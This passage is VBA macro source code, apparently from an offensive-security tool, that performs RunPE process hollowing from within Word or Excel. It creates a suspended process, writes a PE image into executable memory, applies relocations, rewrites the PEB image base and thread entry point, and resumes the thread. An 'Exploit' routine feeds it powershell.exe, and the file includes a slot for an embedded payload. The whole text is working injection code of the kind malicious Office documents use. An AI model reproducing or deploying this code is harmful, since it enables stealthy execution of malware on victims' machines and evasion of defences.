' strB - Input String 2. E.g.: "BBBB"
' Returns: The concatenation of the two Strings. E.g.: "AAAABBBB"
' --------------------------------------------------------------------------------
Private Function B(strA As String, strB As String) As String
B = strA + strB
End Function
' ================================================================================
' ~~~ EMBEDDED PE ~~~
' ================================================================================
' CODE GENERATED BY PE2VBA
' ===== BEGIN PE2VBA =====
Private Function PE() As String
Dim strPE As String
strPE = ""
PE = strPE
End Function
' ===== END PE2VBA =====
' ================================================================================
' ~~~ MAIN ~~~
' ================================================================================
' --------------------------------------------------------------------------------
' Method: RunPE
' Desc: Main method. Executes a PE from the memory of Word/Excel
' Arguments: baImage - A Byte array representing a PE file
' strArguments - A String representing the command line arguments
' Returns: N/A
' --------------------------------------------------------------------------------
Public Sub RunPE(ByRef baImage() As Byte, strArguments As String)
Debug.Print ("[*] Checking source PE...")
' Populate IMAGE_DOS_HEADER structure
' |__ IMAGE_DOS_HEADER size is 64 (0x40)
Dim structDOSHeader As IMAGE_DOS_HEADER
Dim ptrDOSHeader As LongPtr: ptrDOSHeader = VarPtr(structDOSHeader)
Call RtlMoveMemory(ptrDOSHeader, VarPtr(baImage(0)), SIZEOF_IMAGE_DOS_HEADER)
' Check Magic Number (i.e. is it a PE file?)
' |__ Magic number = 0x5A4D or 23117 or 'MZ'
If structDOSHeader.e_magic = IMAGE_DOS_SIGNATURE Then
If VERBOSE Then
Debug.Print (" |__ Magic number is OK.")
End If
Else
Debug.Print (" |__ Input file is not a valid PE.")
Exit Sub
End If
' Populate IMAGE_NT_HEADERS structure
' |__ IMAGE_NT_HEADERS start at offset DOSHeader->e_lfanew
' |__ IMAGE_NT_HEADERS size is 248 (0xf8) (32 bits)
' |__ IMAGE_NT_HEADERS size is 264 (0x108) (64 bits)
Dim structNTHeaders As IMAGE_NT_HEADERS
Dim ptrNTHeaders As LongPtr: ptrNTHeaders = VarPtr(structNTHeaders)
Call RtlMoveMemory(ptrNTHeaders, VarPtr(baImage(structDOSHeader.e_lfanew)), SIZEOF_IMAGE_NT_HEADERS)
' Check NT headers Signature
' |__ NT Header Signature = 'PE00' or 0x00004550 or 17744
If structNTHeaders.Signature = IMAGE_NT_SIGNATURE Then
If VERBOSE Then
Debug.Print (" |__ NT Header Signature is OK.")
End If
Else
Debug.Print (" |__ NT Header Signature is not valid.")
Exit Sub
End If
' Check CPU architecture
If VERBOSE Then
Debug.Print (" |__ Machine type: 0x" + Hex(structNTHeaders.FileHeader.Machine))
End If
#If Win64 Then
If structNTHeaders.FileHeader.Machine = IMAGE_FILE_MACHINE_I386 Then
Debug.Print ("[-] You're trying to inject a 32 bits binary into a 64 bits process!")
Exit Sub
End If
#Else
If structNTHeaders.FileHeader.Machine = IMAGE_FILE_MACHINE_AMD64 Then
Debug.Print ("[-] You're trying to inject a 64 bits binary into a 32 bits process!")
Exit Sub
End If
#End If
' Get the path of the current process executable
Dim strCurrentFilePath As String
strCurrentFilePath = Space(MAX_PATH) ' Allocate memory to store the path
Dim lGetModuleFileName As Long
lGetModuleFileName = GetModuleFileName(0, strCurrentFilePath, MAX_PATH)
strCurrentFilePath = Left(strCurrentFilePath, InStr(strCurrentFilePath, vbNullChar) - 1) ' Remove NULL bytes
' Format command line
Dim strCmdLine As String
strCmdLine = strCurrentFilePath + " " + strArguments
' Create new process in suspended state
Debug.Print ("[*] Creating new process in suspended state...")
Dim strNull As String
Dim structProcessInformation As PROCESS_INFORMATION
Dim structStartupInfo As STARTUPINFO
If VERBOSE Then
Debug.Print (" |__ Target PE: '" + strCurrentFilePath + "'")
End If
Dim lCreateProcess As Long
lCreateProcess = CreateProcess(strNull, strCurrentFilePath + " " + strArguments, 0&, 0&, False, CREATE_SUSPENDED, 0&, strNull, structStartupInfo, structProcessInformation)
If lCreateProcess = 0 Then
Debug.Print (" |__ CreateProcess() failed (Err: " + Str(Err.LastDllError) + ").")
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ CreateProcess() OK")
End If
End If
' Get Thread Context
Debug.Print ("[*] Retrieving the context of the main thread...")
Dim structContext As CONTEXT
structContext.ContextFlags = CONTEXT_INTEGER 'CONTEXT_FULL
Dim lGetThreadContext As Long
#If Win64 Then
Dim baContext(0 To (LenB(structContext) - 1)) As Byte
Call RtlMoveMemory(VarPtr(baContext(0)), VarPtr(structContext), LenB(structContext))
lGetThreadContext = GetThreadContext(structProcessInformation.hThread, VarPtr(baContext(0)))
#Else
lGetThreadContext = GetThreadContext(structProcessInformation.hThread, structContext)
#End If
If lGetThreadContext = 0 Then
Debug.Print (" |__ GetThreadContext() failed (Err:" + Str(Err.LastDllError) + ")")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
#If Win64 Then
Call RtlMoveMemory(VarPtr(structContext), VarPtr(baContext(0)), LenB(structContext))
#End If
If VERBOSE Then
Debug.Print (" |__ GetThreadContext() OK")
End If
End If
' Get image base of the target process (if we want to unmap it before injecting our PE)
' |__ Image base address is CONTEXT.ebx + 8 (32 bits)
' |__ Image base address is CONTEXT.rdx + 16 (64 bits)
'Debug.Print ("[*] Reading target process base image address...")
'Dim ptrTargetImageBase As LongPtr
'Dim ptrTargetImageBaseLocation As LongPtr
'#If Win64 Then
' ptrTargetImageBaseLocation = structContext.Rdx + 16
'#Else
' ptrTargetImageBaseLocation = structContext.Ebx + 8
'#End If
'Dim lReadProcessMemory As Long
'lReadProcessMemory = ReadProcessMemory(structProcessInformation.hProcess, ptrTargetImageBaseLocation, VarPtr(ptrTargetImageBase), SIZEOF_ADDRESS, 0)
'If lReadProcessMemory = 0 Then
' Debug.Print (" |__ ReadProcessMemory() failed (Err:" + Str(Err.LastDllError) + ")")
' Call TerminateProcess(structProcessInformation.hProcess, 0)
' Exit Sub
'Else
' If VERBOSE Then
' Debug.Print (" |__ Target process image base address: Ox" + Hex(ptrTargetImageBase))
' End If
'End If
' Unmap target image (optional)
' We don't really need to unmap the current image
' Get Relocation directory and check if the PE has a relocation table
' |__ NTHeaders.OptionalHeader.DataDirectory[5]
Dim structRelocDirectory As IMAGE_DATA_DIRECTORY
Call RtlMoveMemory(VarPtr(structRelocDirectory), VarPtr(structNTHeaders.OptionalHeader.DataDirectory(IMAGE_DIRECTORY_ENTRY_BASERELOC)), SIZEOF_IMAGE_DATA_DIRECTORY)
Dim ptrDesiredImageBase As LongPtr: ptrDesiredImageBase = 0
If structRelocDirectory.VirtualAddress = 0 Then
Debug.Print ("[!] PE has no relocation table, using default base address: 0x" + Hex(structNTHeaders.OptionalHeader.ImageBase))
ptrDesiredImageBase = structNTHeaders.OptionalHeader.ImageBase
End If
' Allocate memory for the source image in the new process
Debug.Print ("[*] Allocating memory for the source image in process with PID" + Str(structProcessInformation.dwProcessId) + "...")
If VERBOSE Then
Debug.Print (" |__ PE image size: " + Str(structNTHeaders.OptionalHeader.SizeOfImage))
End If
Dim ptrProcessImageBase As LongPtr
ptrProcessImageBase = VirtualAllocEx(structProcessInformation.hProcess, ptrDesiredImageBase, structNTHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
If ptrProcessImageBase = 0 Then
Debug.Print (" |__ VirtualAllocEx() failed (Err:" + Str(Err.LastDllError) + ").")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ VirtualAllocEx() OK - Got Addr: 0x" + Hex(ptrProcessImageBase))
End If
End If
' Change the image base saved in headers
' |__ IMAGE_NT_HEADERS is at offset: 0 + IMAGE_DOS_HEADER.e_lfanew
' |__ IMAGE_NT_HEADERS = Signature || IMAGE_FILE_HEADER || IMAGE_OPTIONAL_HEADER
' |__ In IMAGE_OPTIONAL_HEADER32, ImageBase is at offset 28
' |__ => ImageBase is at offset: 0 + IMAGE_DOS_HEADER.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 28
' |__ In IMAGE_OPTIONAL_HEADER64, ImageBase is at offset 24
' |__ => ImageBase is at offset: 0 + IMAGE_DOS_HEADER.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 24
If ptrProcessImageBase <> structNTHeaders.OptionalHeader.ImageBase Then
Dim lImageBaseAddrOffset As Long
Dim ptrImageBase As LongPtr
#If Win64 Then
lImageBaseAddrOffset = 0 + structDOSHeader.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 24
#Else
lImageBaseAddrOffset = 0 + structDOSHeader.e_lfanew + 4 + SIZEOF_IMAGE_FILE_HEADER + 28
#End If
'Call RtlMoveMemory(VarPtr(ptrImageBase), VarPtr(baImage(0 + lImageBaseAddrOffset)), SIZEOF_ADDRESS) ' Read current value
'Debug.Print ("Current image base: 0x" + Hex(ptrImageBase) + " - Image base to write: 0x" + Hex(ptrProcessImageBase))
Call RtlMoveMemory(VarPtr(baImage(0 + lImageBaseAddrOffset)), VarPtr(ptrProcessImageBase), SIZEOF_ADDRESS) ' Write new value
'Call RtlMoveMemory(VarPtr(ptrImageBase), VarPtr(baImage(0 + lImageBaseAddrOffset)), SIZEOF_ADDRESS) ' Read current value to verify
'Debug.Print ("New effective image base: 0x" + Hex(ptrImageBase))
End If
' Allocate some memory in the current process to store the source image
Debug.Print ("[*] Allocating memory for the source image in current process...")
Dim ptrImageLocalCopy As LongPtr
ptrImageLocalCopy = VirtualAlloc(0&, structNTHeaders.OptionalHeader.SizeOfImage, MEM_COMMIT Or MEM_RESERVE, PAGE_EXECUTE_READWRITE)
If ptrImageLocalCopy = 0 Then
Debug.Print (" |__ VirtualAlloc() failed (Err:" + Str(Err.LastDllError) + ").")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ VirtualAlloc() OK - Got Addr: 0x" + Hex(ptrImageLocalCopy))
End If
End If
' Copy source image to local memory
Debug.Print ("[*] Writing source image in current process...")
If VERBOSE Then
Debug.Print (" |__ Target address: 0x" + Hex(ptrImageLocalCopy))
Debug.Print ("[*] Writing PE headers...")
Debug.Print (" |__ Headers size:" + Str(structNTHeaders.OptionalHeader.SizeOfHeaders))
End If
Call RtlMoveMemory(ptrImageLocalCopy, VarPtr(baImage(0)), structNTHeaders.OptionalHeader.SizeOfHeaders)
If VERBOSE Then
Debug.Print ("[*] Writing PE sections...")
End If
Dim iCount As Integer
Dim structSectionHeader As IMAGE_SECTION_HEADER
For iCount = 0 To (structNTHeaders.FileHeader.NumberOfSections - 1)
' Nth section is at offset:
' 0 (image base)
' + DOSHeader->e_lfanew Image base address
' + 248 OR 264 IMAGE_NT_HEADERS size is 248 (32 bits) or 264 (64 bits)
' + N * 40 IMAGE_SECTION_HEADER is 40 (32 & 64 bits)
Call RtlMoveMemory(VarPtr(structSectionHeader), VarPtr(baImage(structDOSHeader.e_lfanew + SIZEOF_IMAGE_NT_HEADERS + (iCount * SIZEOF_IMAGE_SECTION_HEADER))), SIZEOF_IMAGE_SECTION_HEADER)
Dim strSectionName As String: strSectionName = ByteArrayToString(structSectionHeader.SecName)
Dim ptrNewAddress As LongPtr: ptrNewAddress = ptrImageLocalCopy + structSectionHeader.VirtualAddress
Dim lSize As Long: lSize = structSectionHeader.SizeOfRawData
If VERBOSE Then
Debug.Print (" |__ Writing section: '" + strSectionName + "' (Size:" + Str(lSize) + ") at 0x" + Hex(ptrNewAddress))
End If
Call RtlMoveMemory(ptrNewAddress, VarPtr(baImage(0 + structSectionHeader.PointerToRawData)), lSize)
Next iCount
' If the base address of the payload changed, we need to apply relocations
Debug.Print ("[*] Applying relocations...")
If ptrProcessImageBase <> structNTHeaders.OptionalHeader.ImageBase Then
Dim lMaxSize As Long: lMaxSize = structRelocDirectory.Size
Dim lRelocAddr As Long: lRelocAddr = structRelocDirectory.VirtualAddress
Dim structReloc As IMAGE_BASE_RELOCATION
Dim lParsedSize As Long: lParsedSize = 0
Do While lParsedSize < lMaxSize
Dim ptrStructReloc As LongPtr: ptrStructReloc = ptrImageLocalCopy + lRelocAddr + lParsedSize
Call RtlMoveMemory(VarPtr(structReloc), ptrStructReloc, SIZEOF_IMAGE_BASE_RELOCATION)
lParsedSize = lParsedSize + structReloc.SizeOfBlock
If (structReloc.VirtualAddress <> 0) And (structReloc.SizeOfBlock <> 0) Then
If VERBOSE Then
Debug.Print (" |__ Relocation Block: Addr=0x" + Hex(structReloc.VirtualAddress) + " - Size:" + Str(structReloc.SizeOfBlock))
End If
Dim lEntriesNum As Long: lEntriesNum = (structReloc.SizeOfBlock - SIZEOF_IMAGE_BASE_RELOCATION) / SIZEOF_IMAGE_BASE_RELOCATION_ENTRY
Dim lPage As Long: lPage = structReloc.VirtualAddress
Dim ptrBlock As LongPtr: ptrBlock = ptrStructReloc + SIZEOF_IMAGE_BASE_RELOCATION
Dim iBlock As Integer
Call RtlMoveMemory(VarPtr(iBlock), ptrBlock, SIZEOF_IMAGE_BASE_RELOCATION_ENTRY)
iCount = 0
For iCount = 0 To (lEntriesNum - 1)
Dim iBlockType As Integer: iBlockType = ((iBlock And &HF000) / &H1000) And &HF ' type = value >> 12
Dim iBlockOffset As Integer: iBlockOffset = iBlock And &HFFF ' offset = value & 0xfff
'Debug.Print (" | |__ Block: Type=" + Str(iBlockType) + " - Offset=0x" + Hex(iBlockOffset))
If iBlockType = 0 Then
Exit For
End If
Dim iPtrSize As Integer: iPtrSize = 0
If iBlockType = &H3 Then ' 32 bits address
iPtrSize = 4
ElseIf iBlockType = &HA Then ' 64 bits address
iPtrSize = 8
End If
Dim ptrRelocateAddr As LongPtr
ptrRelocateAddr = ptrImageLocalCopy + lPage + iBlockOffset
If iPtrSize <> 0 Then
Dim ptrRelocate As LongPtr
Call RtlMoveMemory(VarPtr(ptrRelocate), ptrRelocateAddr, iPtrSize)
ptrRelocate = ptrRelocate - structNTHeaders.OptionalHeader.ImageBase + ptrProcessImageBase
Call RtlMoveMemory(ptrRelocateAddr, VarPtr(ptrRelocate), iPtrSize)
End If
ptrBlock = ptrBlock + SIZEOF_IMAGE_BASE_RELOCATION_ENTRY
Call RtlMoveMemory(VarPtr(iBlock), ptrBlock, SIZEOF_IMAGE_BASE_RELOCATION_ENTRY)
Next iCount
End If
Loop
End If
' Write modified image to target process memory
Debug.Print ("[*] Writing modified source image to target process memory...")
Dim lWriteProcessMemory As Long
lWriteProcessMemory = WriteProcessMemory(structProcessInformation.hProcess, ptrProcessImageBase, ptrImageLocalCopy, structNTHeaders.OptionalHeader.SizeOfImage, 0&)
If lWriteProcessMemory = 0 Then
Debug.Print (" |__ WriteProcessMemory() failed (Err:" + Str(Err.LastDllError) + ")")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ WriteProcessMemory() OK")
End If
End If
' Free local memory
Call VirtualFree(ptrImageLocalCopy, structNTHeaders.OptionalHeader.SizeOfImage, &H10000) ' &H10000 = MEM_FREE
' Applying new image base address to target PEB
Debug.Print ("[*] Applying new image base address to target PEB...")
Dim ptrPEBImageBaseAddr As LongPtr
#If Win64 Then
ptrPEBImageBaseAddr = structContext.Rdx + 16
#Else
ptrPEBImageBaseAddr = structContext.Ebx + 8
#End If
If VERBOSE Then
Debug.Print (" |__ Image base address location: 0x" + Hex(ptrPEBImageBaseAddr))
Debug.Print (" |__ Image base address: 0x" + Hex(ptrProcessImageBase))
End If
lWriteProcessMemory = WriteProcessMemory(structProcessInformation.hProcess, ptrPEBImageBaseAddr, VarPtr(ptrProcessImageBase), SIZEOF_ADDRESS, 0&)
If lWriteProcessMemory = 0 Then
Debug.Print (" |__ WriteProcessMemory() failed (Err:" + Str(Err.LastDllError) + ")")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ WriteProcessMemory() OK")
End If
End If
' Overwrite context with new entry point
Debug.Print ("[*] Overwriting context with new entry point...")
Dim ptrEntryPoint As LongPtr: ptrEntryPoint = ptrProcessImageBase + structNTHeaders.OptionalHeader.AddressOfEntryPoint
#If Win64 Then
structContext.Rcx = ptrEntryPoint
#Else
structContext.Eax = ptrEntryPoint
#End If
If VERBOSE Then
Debug.Print (" |__ New entry point: 0x" + Hex(ptrEntryPoint))
End If
Dim lSetThreadContext As Long
#If Win64 Then
Call RtlMoveMemory(VarPtr(baContext(0)), VarPtr(structContext), LenB(structContext))
lSetThreadContext = SetThreadContext(structProcessInformation.hThread, VarPtr(baContext(0)))
#Else
lSetThreadContext = SetThreadContext(structProcessInformation.hThread, structContext)
#End If
If lSetThreadContext = 0 Then
Debug.Print (" |__ SetThreadContext() failed (Err:" + Str(Err.LastDllError) + ")")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
Else
If VERBOSE Then
Debug.Print (" |__ SetThreadContext() OK")
End If
End If
' Resume thread
' |__ If ResumeThread succeeds, the return value is the thread's previous suspend count (i.e. 1 in this case)
Debug.Print ("[*] Resuming suspended process...")
Dim lResumeThread As Long
lResumeThread = ResumeThread(structProcessInformation.hThread)
If lResumeThread = 1 Then
If VERBOSE Then
Debug.Print (" |__ ResumeThread() OK")
End If
Else
Debug.Print (" |__ ResumeThread() failed (Err:" + Str(Err.LastDllError) + ")")
Call TerminateProcess(structProcessInformation.hProcess, 0)
Exit Sub
End If
Debug.Print ("[+] RunPE complete!!!")
End Sub
' --------------------------------------------------------------------------------
' Method: Exploit
' Desc: Calls FileToByteArray to get the content of a PE file as a Byte
' array and calls the RunPE procedure to execute it from the memory
' of Word / Excel
' Arguments: N/A
' Returns: N/A
' --------------------------------------------------------------------------------
Public Sub Exploit()
Debug.Print ("================================================================================")
Dim strSrcFile As String
Dim baSrcFileContent() As Byte
Dim strSrcArguments As String
Dim strSrcPE As String
'strSrcFile = "C:\Windows\System32\cmd.exe"
strSrcFile = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"
'strSrcFile = "C:\Windows\SysWOW64\cmd.exe"
'strSrcFile = "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"
strSrcArguments = ""
'strSrcArguments = "-exec Bypass"
strSrcPE = PE()
If strSrcPE = "" Then
If Dir(strSrcFile) = "" Then